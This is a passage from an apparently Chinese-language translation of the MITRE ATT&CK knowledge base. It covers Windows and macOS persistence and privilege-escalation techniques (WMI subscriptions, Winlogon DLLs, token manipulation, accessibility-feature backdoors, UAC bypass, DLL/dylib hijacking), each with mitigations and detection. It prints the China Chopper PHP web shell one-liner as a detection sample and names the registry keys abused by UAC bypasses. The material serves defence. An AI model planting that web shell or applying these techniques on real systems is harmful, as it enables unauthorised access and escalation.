检测

Web shell 很难检测到。与其他形式的持久远程访问不同，它们不会发起连接。服务器上的 web shell 部分可能很小，看起来无害。例如，China Chopper Web shell PHP 版本中的小负载：

```
<?php @eval($_POST['password']);>
```

不管怎样，检测机制还是存在的。可通过进程监控来检测执行可疑操作（如运行 cmd 或访问不在 web 目录中的文件）的 web 服务器。可通过文件监控来检测 web 服务器的 web 目录中与 web 服务器内容更新不匹配且可能表示已有 web shell 脚本植入的文件更改。还可监控针对 web 服务器的日志认证尝试，以及由 web 服务器或内部网络发起或接收的异常流量模式。

# 3.58 WMI 事件订阅

| |
|---|
| 编号：T1084 |

技术：持久化

平台：Windows

所需权限：管理员，系统

数据源：WMI 对象

版本：1.0

WMI（Windows Management Instrumentation）可用于安装事件筛选器、提供程序、使用者和绑定，它们都在定义的事件发生时执行代码。攻击者可能会使用 WMI 功能来订阅事件并在事件发生时执行任意代码，从而在系统上实现持久性。攻击者可能会试图通过编译 WMI 脚本来逃避对此技术的检测。可订阅的事件示例有挂钟时间或计算机的正常运行时间。据报道，有几个威胁组织使用这种技术来保持持久性。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特权账号管理 | 防止管理员和特权账号在系统之间的凭据重叠。 |
| 用户账号管理 | 默认情况下，只允许管理员使用 WMI 远程连接；限制允许连接的其他用户，或禁止所有用户远程连接到 WMI。 |

### 检测

监控 WMI 事件订阅条目，将当前 WMI 事件订阅与每个主机的已知良好订阅记录进行比较。也可使用 Sysinternals Autoruns 等工具来检测是否有旨在获得持久性的 WMI 更改。

## 3.59 Winlogon Helper DLL

编号：T1004

技术：持久化

平台：Windows

所需权限：管理员，系统

数据源：Windows 注册表，文件监控，进程监控

CAPEC 编号：CAPEC-579

贡献者：Praetorian

版本：1.0

Winlogon.exe 是 Windows 组件，负责登录/注销时的操作以及 Ctrl-Alt-Delete 触发的 SAS（安全注意序列）。注册表项 `HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\`和 `HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\` 用于管理支持 Winlogon 的其他帮助程序和功能。

对这些注册表项的恶意修改可能导致 Winlogon 加载和执行恶意动态链接库和/或可执行文件。具体而言，已知以下子项可能容易被滥用：

- Winlogon\Notify - 指向处理 Winlogon 事件的通知包动态链接库
- Winlogon\Userinit - 指向 userinit.exe，即用户登录时执行的用户初始化程序
- Winlogon\Shell - 指向 explorer.exe，即用户登录时执行的系统 shell

攻击者可能会利用这些功能重复执行恶意代码并建立持久性。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 执行预防 | 使用能够审核和/或阻止未知动态链接库的白名单工具来识别并阻止通过 Winlogon 帮助程序进程执行的潜在恶意软件。 |
| 用户账号管理 | 限制用户账号的权限，使得只有授权管理员才能更改 Winlogon 帮助程序。 |

## 检测

监控与 Winlogon 相关但与已知软件、补丁周期等无关的注册表项的更改。也可使用 Sysinternals Autoruns 等工具来检测是否有旨在获得持久性的系统更改，包括列出当前的 Winlogon 帮助程序值。写入与已知良性软件或补丁无关的动态链接库到 System32 也可能是可疑的。

查看是否有因加载恶意动态链接库而导致的异常进程行为。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如为命令与控制而建立网络连接，通过发现了解环境的详细信息，以及横向移动。

# 4. 权限升级

## 4.1 访问令牌操纵

编号：T1134

技术：防御逃逸，权限升级

平台：Windows

所需权限：用户，管理员

有效权限：系统

数据源：API 监控，访问令牌，进程监控，进程命令行参数

贡献者：Tom Ueltschi @c_APT_ure；Travis Smith，Tripwire；Robby Winchester，@robwinchester3；Jared Atkinson，@jaredcatkinson

版本：1.0

Windows 使用访问令牌来确定运行中进程的所有权。用户可以操纵访问令牌，使运行中的进程看起来好像属于其他人，而不是启动该进程的用户。发生这种情况时，进程也还接受与新令牌关联的安全上下文。例如，微软提倡使用访问令牌作为最佳安全实践。管理员应以标准用户身份登录，但使用内置的访问令牌操控命令 `runas` 以管理员权限运行工具。

攻击者可能会使用访问令牌在不同的用户或系统安全上下文下执行操作并逃避检测。攻击者可能会使用内置的 Windows API 函数从现有进程复制访问令牌；这也即称为令牌窃取。攻击者窃取令牌之前必须已经处于特权用户上下文（即管理员）中。攻击者通常通过令牌窃取将其安全上下文从管理员级别提升到系统级别。他们可能会使用令牌向远程系统请求身份验证为该令牌的账号（如果该账号对远程系统具有适当的权限）。

**攻击者可以通过三种方式利用访问令牌：**

令牌模拟/盗窃-攻击者使用 `DuplicateToken(Ex)` 复制现有令牌，创建新的访问令牌。然后，该令牌可以与 `ImpersonateLoggedOnUser` 一起使用以允许调用线程模拟登录用户的安全上下文，或者与 `SetThreadToken` 一起使用将模拟令牌分配给线程。目标用户在系统上有非网络登录会话时，这个方法非常有用。

使用令牌创建进程-攻击者使用 `DuplicateToken(Ex)` 创建新的访问令牌，并将其与 `CreateProcessWithTokenW` 一起使用，创建在模拟用户的安全上下文下运行的新进程。这个方法对于在不同用户的安全上下文中创建新进程非常有用。

生成并模拟令牌-攻击者有用户名和密码，但尚未登录到系统。攻击者可以使用 `LogonUser` 函数为用户创建登录会话。函数会返回新会话访问令牌的副本。攻击者可以使用 `SetThreadToken` 将令牌分配给线程。

任何标准用户都可以使用 `runas` 命令和 Windows API 函数来创建模拟令牌；使用此命令时不需要访问管理员账号。

Metasploit 的 Meterpreter 负载允许任意的令牌操控，并通过令牌模拟来提升权限。Cobalt Strike beacon 负载允许任意令牌模拟，也可以创建令牌。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特权账号管理 | 限制权限，使得用户和用户组无法创建令牌。应仅为本地系统账号做此设置。GPO 路径：计算机配置 > [策略] > Windows 设置 > 安全设置 > 本地策略 > 用户权限分配：创建令牌对象。<br>还可以定义哪些人可以仅为本地和网络服务创建进程级令牌。GPO 路径：计算机配置 > [策略] > Windows 设置 > 安全设置 > 本地策略 >用户权限分配：替换进程级令牌。 |
| 用户账号管理 | 攻击者必须已经在本地系统上具有管理员级别的访问权限才能充分利用此技术。请确保将用户和账号限制在其所需的最低权限范围内。 |

检测

如果攻击者使用标准命令行 shell，分析人员可以审核命令行活动来检测令牌操纵情况。具体来说，分析人员应该检测 `runas` 命令的使用。在 Windows 系统中，默认情况下不启用详细的命令行日志记录功能。

如果攻击者使用的是直接调用 Windows 令牌 API 的有效负载，那么分析人员只能通过仔细分析用户网络活动、检查正在运行的进程以及分析与其他端点和网络行为的相关性来检测令牌操纵情况。

有效负载可以利用多种 Windows API 调用来操纵访问令牌，比如 `LogonUser`，`DuplicateTokenEx` 和 `ImpersonateLoggedOnUser` 。详细信息，请参阅参考的 Windows API 页。

查询系统中的进程和线程令牌信息，并查找不一致情况，例如用户拥有模拟本地系统账号的进程。

# 4.2 辅助功能

编号：T1015

技术：持久化，权限升级

| |
|---|
| 平台：Windows |
| 所需权限：管理员 |
| 有效权限：系统 |
| 数据源：Windows 注册表，文件监控，进程监控 |
| CAPEC 编号：CAPEC-558 |
| 贡献者：Paul Speulstra，AECOM Global Security Operations Center |
| 版本：1.0 |

Windows 包含用户登录之前（例如，当用户在 Windows 登录屏幕上时）可用组合键启动的辅助功能。攻击者可能会修改这些程序的启动方式，以便在不登录系统的情况下获得命令提示符或后门。

两个常见的辅助功能程序是 `C:\Windows\System32\sethc.exe`（按下 shift 键五次后启动）和 `C:\Windows\System32\utilman.exe`（按下 Windows+U 组合键时启动）。sethc.exe 程序通常被称为“粘滞键”，已被攻击者用来通过远程桌面登录屏幕进行不经认证的访问。

由于代码完整性增强，攻击者可能会以不同的方式利用这些功能，具体取决于 Windows 的版本。在较新版本的 Windows 中，替换的二进制文件需要为 x64 系统进行数字签名，二进制文件必须位于`%systemdir%\`，并且必须受 WFP/WRP（Windows File or Resource Protection）的保护。攻击者很可能使用调试器方法来规避这些问题，因为它不需要替换相应的辅助功能二进制文件。以下是两种方法的示例：

示例 1：Windows XP 和更高版本以及 Windows Server 2003/R2 和更高版本上的简单二进制替换方法。可以替换程序（比如：`C:\Windows\System32\utilman.exe`）为“cmd.exe”（或其他提供后门访问的程序）。随后，如果你使用键盘或已通过远程桌面协议连接，在登录屏幕上按相应的组合键将导致以系统权限执行替换文件。

示例 2：Windows Vista 和更高版本以及 Windows Server 2008 和更高版本的调试器方法。可以修改注册表项，配置“cmd.exe”或其他提供后门访问的程序作为辅助功能程序（比如：utilman.exe）的“调试器”。修改注册表后，如果你使用键盘或已通过 RDP 连接，在登录屏幕上按相应的组合键将导致以系统权限执行“调试器”程序。

其他辅助功能也可以以类似的方式利用：

- On-Screen Keyboard: `C:\Windows\System32\osk.exe`
- Magnifier: `C:\Windows\System32\Magnify.exe`
- Narrator: `C:\Windows\System32\Narrator.exe`
- Display Switcher: `C:\Windows\System32\DisplaySwitch.exe`
- App Switcher: `C:\Windows\System32\AtBroker.exe`

缓解

| 缓解措施 | 说明 |
|---|---|
| 执行预防 | 攻击者可能会使用备用二进制文件替换辅助功能二进制文件来执行此技术。使用应 |

| | |
|---|---|
| | 用白名单工具（如 Windows Defender Application Control，AppLocker 或软件限制策略）来识别并阻止通过辅助功能执行的潜在恶意软件。 |
| 网络资源访问限制 | 如果可能，请使用远程桌面网关来管理网络中 RDP 的连接和安全配置。 |
| 操作系统配置 | 要远程使用此技术，攻击者必须将其与 RDP 结合使用。确保已启用网络级身份认证，以便在创建会话并显示登录屏幕之前强制远程桌面会话进行身份认证。在 Windows Vista 及更高版本上默认启用此认证。 |

### 检测

修改可用性实用程序二进制文件或修改与已知软件、补丁周期等不相关的二进制路径是可疑的。

通过命令行调用能够修改注册表以获取相关密钥的工具也是可疑的。应监控实用程序参数和二进制文件本身的修改。监控 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` 中的注册表项。

## 4.3 AppCert DLL

编号：T1182

技术：持久化，权限升级

平台：Windows

所需权限：管理员，系统

有效权限：管理员，系统

数据源：已加载动态链接库，进程监控，Windows 注册表

版本：1.0

在注册表项 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` 的 AppCertDLLs 值中指定的动态链接库被加载到调用以下常用 API 函数的每个进程中：CreateProcess，CreateProcessAsUser，CreateProcessWithLoginW ，CreateProcessWithTokenW，和 WinExec。

与进程注入类似，攻击者可能会滥用此值在计算机单独进程的上下文中加载和运行恶意动态库，从而获得持久性和权限提升。

### 缓解

| **缓解措施** | **说明** |
|---|---|
| 执行预防 | 攻击者会安装新的 AppCertDLL 二进制文件来执行此技术。使用应用白名单工具（如 Windows Defender Application Control，AppLocker 或软件限制策略） |

| | |
|---|---|
| | 来识别并阻止通过 AppCertDLL 功能执行的潜在恶意软件。 |

检测

监控进程加载的动态链接库，尤其是要查找未识别的或未正常加载到进程的动态链接库。

监控 AppCertDLLs 注册表值来查看是否有与已知软件、补丁周期等无关的修改。监控和分析表示编辑了注册表的 API 调用，如 RegCreateKeyEx 和 RegSetValueEx。

Sysinternals Autoruns 等工具可能会忽视 AppCert 动态链接库为自动启动位置。

查找可能由加载恶意动态链接库的进程导致的异常行为。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如为命令与控制而建立网络连接，通过发现了解环境的详细信息，以及横向移动。

# 4.4 AppInit DLL

编号：T1103

技术：持久化，权限升级

平台：Windows

系统要求：在运行 Windows 8 及更高版本的系统上禁用 secure boot

所需权限：管理员

有效权限：管理员，系统

数据源：已加载动态链接库，进程监控，Windows 注册表

版本：1.0

在注册表项 `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows` 或 `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows` 的 AppInit_DLLs 值中指定的动态链接库被加载到每个加载 user32.dll 的进程。实际上这几乎是加载到每个程序，因为 user32.dll 是一个非常常见的库。与进程注入类似，攻击者可能会滥用此值在计算机单独进程的上下文中加载和运行恶意动态库，从而获得持久性和权限提升。

在 Windows 8 及更高版本中，如果启用了 secure boot，那么将禁用 AppInit 动态链接库功能。

缓解

| 缓解措施 | 说明 |
|---|---|
| 执行预防 | 攻击者可能会安装新的 AppInit_DLLs 二进制文件来执行此技术。使用应用白名单工具（如 Windows Defender Application Control，AppLocker 或软件限制策 |

| | |
|---|---|
| | 略）来识别并阻止通过 AppInit_DLLs 功能执行的潜在恶意软件。 |
| 软件升级 | 升级到 Windows 8 或更高版本并启用 secure boot。 |

检测

监控加载了 user32.dll 的进程加载的动态链接库来查看是否有未识别的或非正常加载到进程的动态链接库。监控 AppInit_DLLs 注册表值来查看是否有与已知软件、补丁周期等无关的修改。监控和分析表示标记了注册表的 API 调用，如 RegCreateKeyEx 和 RegSetValueEx。也可使用 Sysinternals Autoruns 等工具来检测是否有旨在获得持久性的系统更改，包括列出当前的 AppInit 动态链接库。

查找可能由加载恶意动态链接库的进程导致的异常行为。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如为命令与控制而建立网络连接，通过发现了解环境的详细信息，以及横向移动。

# 4.5 应用兼容转接

编号：T1138

技术：持久化，权限升级

平台：Windows

所需权限：管理员

数据源：已加载动态链接库，系统调用，Windows 注册表，进程监控，进程命令行参数

版本：1.0

创建微软 Windows 应用兼容性基础结构/框架（应用兼容转接）是为了在操作系统代码库随时间变化时允许软件向后兼容。例如，应用兼容转接功能允许开发人员修改他们为 Windows XP 创建的应用（不需重写代码），以使这些应用也能在 Windows 10 上使用。在此框架内，程序（或者更具体地说，导入地址表）和 Windows 操作系统之间创建了 “垫片”，类似于 “缓冲区”，用于实现兼容转接功能。执行程序时，会查询此缓冲区以确定程序是否需要使用 shim 数据库（.sdb）。如果需要，shim 数据库必要时会使用 hooking 来重定向代码，从而与操作系统通信。

当前由 Windows 默认安装程序（sdbinst.exe）安装的所有垫片的列表保存在以下路径：

- `%WINDIR%\AppPatch\sysmain.sdb`
- `hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb`

自定义数据库存储在以下路径：

- `%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom`

- `hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom`

为了确保垫片的安全，Windows 将它们设计为在用户模式下运行，这样它们就无法修改内核，而且您必须具有管理员权限才能安装它们。但是，某些垫片可用于绕过 UAC（用户账号控制）（RedirectEXE）、将动态链接库注入到进程（InjectDLL）、禁用数据执行保护（DisableNX）和结构异常处理（(DisableSEH）以及拦截内存地址（GetProcAddress）。与 Hooking 类似，这些垫片可能允许攻击者执行多种恶意行为，如提升权限、安装后门、禁用 Windows Defender 等防御措施。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 软件升级 | 微软发布了一个可选的补丁更新 - KB3045645 - 它将删除 sdbinst.exe 中的“auto-elevate”标志。这样可以防止攻击者使用应用兼容转接技术来绕过 UAC。 |
| 用户账号控制 | 将 UAC 设置更改为“始终通知”将在请求 UAC 提升时为用户提供更多可见性。但是，由于 UAC 不断中断，此选项在用户中不受欢迎。 |

检测

以下公共工具可用来检测当前可用的垫片：

- Shim-Process-Scanner - 检查每个运行中进程的内存是否有任何 Shim 标志
- Shim-Detector-Lite - 检测自定义 shim 数据库的安装
- Shim-Guard - 监控注册表来查看垫片安装
- ShimScanner - 取证工具，用于在内存中查找活动的垫片
- ShimCacheMem - Volatility 插件，用于从内存中提取垫片缓存（注意：只在重启后缓存垫片）

监控 sdbinst.exe 进程执行和命令行参数来查看是否有应用垫片滥用的情况。

# 4.6 UAC 绕过

编码：T1088

技术：防御逃逸，权限升级

平台：Windows

所需权限：用户，管理员

有效权限：管理员

数据源：系统调用，进程监控，认证日志，进程命令行参数

绕过的防御：Windows 用户账号控制

| |
|---|
| 贡献者：Stefan Kanthak；Casey Smith<br>版本：1.0 |

Windows UAC（用户账号控制）允许程序通过提示用户进行确认来提升权限以便其以管理员级别权限执行任务。对用户的影响范围由高强制下拒绝操作到允许本地管理员群组中的用户执行操作并单击提示或允许用户输入管理员密码来完成操作。

如果计算机的 UAC 保护级别设置为最高级别以外的任何级别，则允许某些 Windows 程序提升权限或执行某些已提升的 COM 对象，无需使用 UAC 通知框提示用户。例如，使用 rundll32.exe 加载一个特制的动态链接库（该动态链接库加载一个自动提升的 COM 对象），并在通常需要提升访问权限的受保护目录中执行文件操作。恶意软件也可能在不提示用户的情况下被注入到受信任的进程中来提升权限。如果目标进程不受保护，则攻击者可以使用这些技术将权限提升到管理员级别。

已经发现许多绕过 UAC 的方法。UACMe 相关的 Github readme 页面包含一张大清单，列出了许多 UACMe 中发现和实现的方法，但该清单可能并不完整。经常也会发现其他的旁路方法，有的甚至是些旁门左道的方法，例如：

- eventvwr.exe 可以自动提升和执行指定的二进制或脚本。

如果已知具有管理员权限的账号凭据，则可能会有其它通过横向移动技术来绕过 UAC 的方法，因为 UAC 是一个单一的系统安全机制，一个系统上运行的进程的权限或完整性在横向系统上是未知的而且默认为高完整性。

缓解

| 缓解措施 | 说明 |
|---|---|
| 审核 | 检查 Windows 系统上常见的 UAC 旁路漏洞，了解风险状况，并适时解决问题。 |
| 特权账号管理 | 从系统上的本地管理员群组中删除用户。 |
| 用户账号控制 | 尽管存在 UAC 旁路技术，在可能的情况下对 UAC 使用最高强制级别并且减少需使用动态链接库搜索顺序劫持等技术的旁路机会还是很明智的。 |

检测

当用户在系统的本地管理员群组中时，有许多方法可以绕过 UAC，因此可能很难针对所有变数来做检测。应努力减轻影响，收集足够的 UAC 旁路前后的进程启动和行动信息。监控进程 API 调用来查看是否有进程注入以及通过动态链接库搜索顺序劫持技术异常加载动态链接库的行为（这些异常行为旨在获取更高权限来访问进程）。

一些 UAC 旁路方法依赖于修改特定的、用户可访问的注册表设置。例如：

- `eventvwr.exe` 旁路使用注册表项 `[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command`。

- `sdclt.exe` 旁路使用注册表项 `[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe` 和 `[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand`。

分析人员应监控这些注册表设置，防止未经授权的更改。

## 4.7 DLL 搜索顺序劫持

编号：T1038

技术：持久化，权限升级，防御逃逸

平台：Windows

系统要求：能够添加动态链接库，清单文件或.local 文件、目录或连接

所需权限：用户，管理员，系统

有效权限：用户，管理员，系统

数据源：文件监控，动态链接库监控，进程监控，进程命令行参数

绕过的防御：进程白名单

CAPEC 编号：CAPEC-471

贡献者：Stefan Kanthak；Travis Smith，Tripwire

版本：1.0

Windows 系统使用常用方法来查找加载到程序中的必要的动态链接库。攻击者可能会利用 Windows 动态链接库搜索顺序以及模糊指定动态链接库的程序来获得权限提升和持久性。

攻击者可能会通过在 Windows 的合法动态链接库之前的搜索位置放置与模糊指定的动态链接库同名的恶意动态链接库来实现预加载，也称为二进制植入攻击。 通常，此位置是程序的当前工作目录。当程序在加载动态链接库之前将其当前目录设置为远程位置（如 web 共享）时，会发生远程动态链接库预加载攻击。攻击者的此行为会导致程序加载恶意动态链接库。

攻击者还可能会通过替换现有动态链接库或修改.manifest 或.local 重定向文件、目录或联结来直接修改程序加载动态链接库的方式，使得程序加载不同的动态链接库来维持持久性或获得权限提升。

如果搜索顺序易受攻击的程序配置为需更高权限级别运行，则加载的攻击者控制的动态链接库也将以更高级别执行。在这种情况下，该技术可用于从用户到管理员/系统或从管理员到系统的权限提升，具体取决于程序。

受路径劫持影响的程序的行为可能看起来是正常的，因为恶意动态链接库可能配置为加载它们要替换的合法动态链接库。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 审核 | 使用审核工具来检测企业系统中动态链接库搜索顺序劫持情况并对检测到的情况进行纠正。像 PowerSploit 框架这样的工具包包含 PowerUp 模块，可用于探索系统中的动态链接库劫持漏洞。 |
| 执行预防 | 攻击者可能会使用新的动态链接库来实施此技术。使用能够阻止合法软件加载动态链接库的应用白名单解决方案来识别并阻止通过搜索顺序劫持执行的潜在恶意软件。 |
| 库加载限制 | 禁止加载远程动态链接库。默认情况下，这包含在 Windows Server 2012+中，也可以在 XP +和 Server 2003+上打补丁来获得。启用 Safe DLL Search Mode 来强制在搜索本地目录 (例如用户家目录) 之前先搜索具有更大限制的目录 (例如 `%SYSTEMROOT%`)。可以通过组策略在以下路径启用 Safe DLL Search Mode：配置 > [策略] > 管理模板 > MSS（旧版）：MSS：（SafeDllSearchMode）Enable Safe DLL search mode。相关的 Windows 注册表项位于 `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode`。 |

### 检测

监控文件系统来查看是否有动态链接库移动，重命名，替换或修改行为。若进程加载的动态链接库集（与过去的行为相比）中的变化与已知软件、补丁等无关，则这些变化是可疑的。监控加载到进程中的动态链接库，并检测具有相同文件名但路径异常的动态链接库。修改或创建与软件更新无关的.manifest 和.local 重定向文件是可疑的。

## 4.8 Dylib 劫持

编号: T1157

技术： 持久化, 权限升级

平台： macOS

所需权限： 用户

有效权限: 管理员, root 用户

数据源： 文件监控

版本： 1.0

针对 macOS 和 OS X 操作系统，可以通过常规方式查询目标动态库，再根据获取的搜索路径加载到程序中。攻击者可以利用二义性植入动态库，从而获取特权提升或持久性。

一种常见的方法是查看应用程序使用的动态库，然后在搜索路径的上一级目录安装同名的恶意代码。这通常会导致恶意代码与应用程序本身位于同一文件夹中。

如果程序配置为以比当前用户更高的权限级别运行，那么当 dylib 加载到应用程序中时，dylib 也将在该高级别运行。 这可以被攻击者用作权限提升技术。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 限制文件和目录权限 | 在运行应用程序的文件夹和标准动态库文件夹中，设置目录访问控制以防止文件写入应用程序的搜索路径。 |
| 用户账户管理 | 防止用户将文件写入应用程序的搜索路径。 |

检测

Objective-See 动态库劫持扫描仪可用于检测动态库劫持的潜在案例。它可以监视文件系统中移动、重命名、替换或修改动态库，监测可疑的和已知的软件、补丁等不相关的进程加载中的动态库的集中更改（与过去的行为相比），并检查系统中是否有多个同名的动态库，以及监视历史上加载到进程中的版本。

# 4.9 提权利用

编号：T1068

技术：权限升级

平台：Linux，macOS，Windows

**系统要求**：在权限提升的情况下，攻击者可能已经拥有目标系统权限。

所需权限：用户

有效权限：用户

数据源：Windows 错误上报，进程监控，认证日志

CAPEC 编号：CAPEC-69

版本：1.0

当攻击者利用程序、服务或操作系统软件或内核本身中的编程错误执行代码时，就会发生软件漏洞攻击。权限级别等安全结构通常会阻碍信息的访问和某些技术的使用，因此攻击者可能需要提升权限后使用软件攻击来规避这些限制。

最初获得系统的访问权限时，攻击者可能正在较低权限的进程中操作，这会阻止他们访问系统上的某些资源。漏洞通常可能存在于操作系统组件和常常以更高权限运行的软件中。攻击者可能会利用这些漏洞在系统上获得更高级别的访问权限。有些人可能会因此从非特权或用户级权限升级到系统或 root 用户权限，具体取决于易受攻击的模块。这可能是攻击者破坏已正确配置的端点系统的必要步骤，限制了其他权限提升方法。

缓解

| **缓解措施** | **说明** |
| --- | --- |
| 应用隔离和沙箱 | 使用沙箱来阻止攻击者利用未发现或未修补的漏洞来实施攻击操作。也可通过其他类型的虚拟化和应用微分段来减轻某些类型漏洞攻击的影响。但在这些系统中仍可能存在其他漏洞和缺陷攻击风险。 |
| 漏洞利用防护 | 可以使用安全应用程序，例如 WDEG（Windows Defender Exploit Guard）和 EMET（Enhanced Mitigation Experience Toolkit），来检测攻击行为，从而缓解某些攻击行为的影响。也可通过控制流完整性检查来识别和阻止软件攻击。许多保护措施依赖于体系结构和目标应用二进制文件的兼容性，可能不适用于针对权限提升的软件组件。 |
| 威胁情报计划 | 开发一个强大的网络威胁情报能力，用来确定哪些类型和级别的威胁可能会针对特定组织实施软件攻击和零日漏洞攻击。 |
| 软件升级 | 对内部企业端点和服务器通过补丁管理来定期更新软件。 |

检测

软件利用检测可能很困难，具体取决于可用的工具。软件攻击可能并不会总是成功，或者可能导致被攻击的进程变得不稳定或崩溃。还要在端点系统上查找能表明攻击成功的行为，例如浏进程的异常行为，包括写入磁盘的可疑文件，通过进程插入来试图掩盖执行的证据，以及发现的证据。

通常需要更高的权限来执行其他操作，例如凭据转储的某些操作。查找可能表示攻击者获得了更高权限的其他活动。

# 4.10 EWM 注入

| |
| --- |
| 编号： T1181 |
| 技术： 防御逃逸，权限升级 |

| |
|---|
| 平台： Windows |
| 所需权限： 管理员，系统 |
| 数据源： API 监控，进程监控 |
| 绕过的防御： 防病毒、主机执行保护、数据执行保护 |
| 版本： 1.0 |

在创建窗口之前，基于 Windows 的图形进程必须规定或注册一个窗口类，该类规定外观和行为（通过 windows 过程，这是处理数据输入/输出的函数）。新 windows 类的注册可以包括请求将最多 40 字节的额外窗口内存 （EWM） 追加到该类的每个实例的分配内存中。此 EWM 用于存储特定于该窗口的数据，并且具有特定的应用程序编程接口 （API） 函数来设置和获取其值。

EWM 虽然很小，但足够存储 32 位指针，通常用于指向窗口过程。恶意软件可能在攻击链的一部分中利用此内存位置，包括将代码写入进程内存的共享部分，在 EWM 中放置指向代码的指针，然后通过将执行控制返回到进程的 EWM 中的地址来调用执行。

通过 EWM 注入授予的执行可能在单独的实时进程的地址空间中进行。与进程注入类似，这可以允许访问目标进程的内存和可能提升的权限。将有效负载写入共享部分还避免使用高度监视的 API 调用，如写入过程内存和创建远程线程。更复杂的恶意软件样本还可能通过触发窗口过程和其他系统功能的组合来绕过保护机制，例如数据执行保护（DEP），这些功能将重写目标进程的可执行部分内的恶意负载。

### 缓解

这种类型的攻击技术无法通过预防性控制轻松缓解，因为它基于系统功能的滥用.

### 检测

监控与枚举和操作 EWM 相关的 API 调用，如 GetWindowLong 和 SetWindowLong 。与此技术关联的恶意软件还使用 SendNotifyMessage 来触发关联的窗口过程和最终的恶意注入。

## 4.11 文件系统权限缺陷

| |
|---|
| 编号：T1044 |
| 技术：持久化，权限升级 |
| 平台：Windows |
| 所需权限：管理员，用户 |

| |
|---|
| 有效权限：系统，用户，管理员 |
| 数据源：文件监控，服务，进程命令行参数 |
| CAPEC 编号：CAPEC-17 |
| 贡献者：Stefan Kanthak；Travis Smith，Tripwire |
| 版本：1.0 |

进程可能会自动执行其功能涉及到的特定二进制文件或执行其他操作。如果包含目标二进制文件的文件系统目录的权限或二进制文件本身的权限设置不正确，则目标二进制文件可能会被另一个使用用户级权限的二进制文件覆盖并由原始进程执行。如果原始进程和线程在更高的权限级别下运行，则替换的二进制文件也将在更高级别的权限下执行，这可能包括系统权限。

攻击者可能会使用此技术将合法二进制文件替换为恶意二进制文件，使用此手段在更高权限级别执行代码。如果配置执行进程在特定时间或在某个特定事件（例如，系统启动）期间运行，则该技术也可以用于获得持久性。

### 服务

操纵 Windows 服务二进制文件是此技术的一种变体。攻击者可能会用自己的可执行文件替换合法的服务可执行文件，以获得持久性和/或将权限升级到服务执行账号级别（本地/域账号，SYSTEM，LocalService 或 NetworkService）。 一旦服务启动，不管它是直接由用户启动（如果有适当访问权限）还是通过某些其他方式来启动（例如随系统重启而启动），则运行替换的可执行文件，而不是原始服务可执行文件。

### 可执行安装程序

此技术的另一个变体是利用可执行的自解压安装程序的常见缺陷。在安装过程中，安装程序通常使用`%TEMP%`目录中的子目录来解压缩二进制文件，例如动态链接库，EXE 或其他有效负载。安装程序在创建子目录和文件时，通常不会设置适当的权限来限制写访问，这就会允许执行子目录中的非信任代码或覆盖安装过程中使用的二进制文件。此行为与动态链接库搜索顺序劫持有关，并可能利用此劫持技术。某些安装程序可能还需要提升权限，这将导致在执行攻击者控制的代码时提升权限。此行为与绕过用户账号控制有关。已向软件供应商报告了现有通用安装程序中存在这种缺陷的几个例子。

### 缓解

| 缓解措施 | 说明 |
|---|---|
| 审核 | 使用审核工具来检测企业系统中文件系统权限滥用情况并对检测到的情况进行纠正。像 PowerSploit 框架这样的工具包包含 PowerUp 模块，可用于探索系统中的服务文件系统权限缺陷。 |
| 用户账号控制 | 添加以下内容来关闭标准用户`[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]`的 UAC 权限提升功能、自动拒绝提升请求： |

| | |
|---|---|
| | "ConsentPromptBehaviorUser"=dword:00000000。考虑添加以下内容为所有用户启用安装程序检测功能："EnableInstallerDetection"=dword:00000001。此功能启用后，会提示输入安装密码并记录尝试日志。如需禁用安装程序检测，请添加以下内容："EnableInstallerDetection"=dword:00000000。这可能会防止攻击者在 UAC 检测安装程序时利用漏洞来提升权限，但是允许继续安装过程而且不记录日志。 |
| 用户账号管理 | 限制用户账号和组的权限，使得只有授权管理员才能与服务更改和服务二进制目标路径位置进行交互。拒绝从用户目录执行，例如文件下载目录和临时目录。 |

检测

查找通常在软件更新期间可能发生的二进制文件和服务可执行文件的更改。编写、重命名和/或移动可执行文件来匹配现有服务可执行文件的行为会被检测到并与其他可疑行为相关联。二进制文件和服务可执行文件的哈希可以用来检测历史数据的替换。

从典型进程和服务中查找异常进程调用树，并查看是否有与发现操作或其他攻击技术相关的其他命令的执行。

# 4.12 Hook

编号: T1179

技术： 持久化，权限升级，凭据访问

平台： Windows

所需权限： 管理员，系统

数据源： API 监控，二进制文件元数据，动态链接库监控，加载的动态链接库，进程监控，Windows 事件日志

版本： 1.0

windows 进程通常利用应用程序编程接口（API）函数来执行需要可重用系统资源的任务。windows API 函数通常作为导出函数存储在动态链接库（DLLS）中。

Hook 包括将调用重定向到这些函数，可以通过：

- Hook 程序，它拦截并执行指定的代码以响应消息、按键和鼠标输入等事件。
- 导入地址表（IAT）Hook，它使用对进程 IAT 的修改，指向导入的 API 函数。
- 内联 Hook，重写 api 函数中的第一个字节以重定向码流

